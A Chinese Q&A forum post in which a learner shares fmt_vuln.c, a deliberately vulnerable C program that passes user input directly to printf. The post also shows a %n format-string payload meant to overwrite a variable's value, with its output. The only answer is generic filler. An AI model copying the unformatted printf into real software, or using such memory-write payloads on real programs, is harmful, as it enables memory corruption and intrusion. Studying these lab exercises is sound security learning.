永发信息网

无法向任意存储地址写入数据?

答案:1  悬赏:0  手机版
解决时间 2021-04-28 08:57
Linux:CPU及内核问题: 其中fmt_vuln.c 代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char* argv[])
{
char text[1024];
static int test_val = -72;
if(argc < 2)
{
printf("Usage:%s<text to print>\n",argv[0]);
exit(0);
}
strcpy(text,argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s",text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
printf("
  • test_val @ 0x%08x = %d 0x%08x\n",&test_val,test_val,test_val);

    exit(0);
    }
    我在终端调试 ,本人机器上test_val地址为0x08049858.
    ./fmt_vuln $(printf "\x58\x98\x04\x08")%08x.%08x.%08x.%n
    输出:
    The right way to print user-controlled input:
    X?%08x.%08x.%08x.%n
    The wrong way to print user-controlled input:
    X?bf8600b4.00000000.bf860230.
  • test_val @ 0x08049858 = -72 0xffffffb8
    并没有改变test_val的值,而我看相关资料上说,
  • test_val @ 0x08049858 = 31 0x0000001f
    不知何故阿?我的系统fedora10,pentium(R) D cpu 2.80GHZ
  • 最佳答案
    你好哦。
    有幸看到你的问题。
    但是又很遗憾到现在还没有人回答你的问题。也可能你现在已经在别的地方找到了答案,那就得恭喜你啦。
    可能是你问的问题有些专业了,没人会。或者别人没有遇到或者接触过你的问题,所以帮不了你。建议你去问题的相关论坛去求助,那里的人通常比较多,也比较热心,可能能快点帮你解决问题。
    祝你好运~!
    希望我的回答也能够帮到你!
    谢谢
    我要举报
    如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
    大家都在看
    吃维生素含21种的药品有那好处?
    你好,我跟我闺蜜是同时买高铁票可是分别出现
    QQ三国那个是什么钻
    为什么我戒烟老是戒不掉?
    OPPO手机最新的好吗?
    丑女无敌第三季第47集开始的背景音乐
    组建一个乐队需要 哪些乐器?
    红旗综合农贸市场地址在什么地方,想过去办事
    冒险岛夜行者如何快速到30级
    下午考数学怎么办?
    奥运会和青年奥运会有什么区别
    冲会员和黄钻的电话是多少?
    市场需求弹性是什么,什么是需求弹性大
    为什么我的vist玩不了QQ幻想啊我是32为?请教
    QQ旋舞今天要维护多久
    推荐资讯
    函数y=-|x|在区间(a,正无穷)是减少的 求a的取
    能够玩魔兽世界的二手电脑要多少钱?!
    从西安五龙国际车城到射击场咋坐车?
    成人怎么才能学游泳
    这种只有两个环的腰带怎么系?
    我爱的人抛弃了我,我该怎么办啊?
    游戏人生内侧的进
    反义词网——闪现的反义词是什么
    关于楼梯面积计算
    有关风水八卦图一类的东西谁能告诉我怎么整
    爱情错了吗
    电脑玩游戏卡怎么办呢?以前玩都不卡
    正方形一边上任一点到这个正方形两条对角线的
    阴历怎么看 ?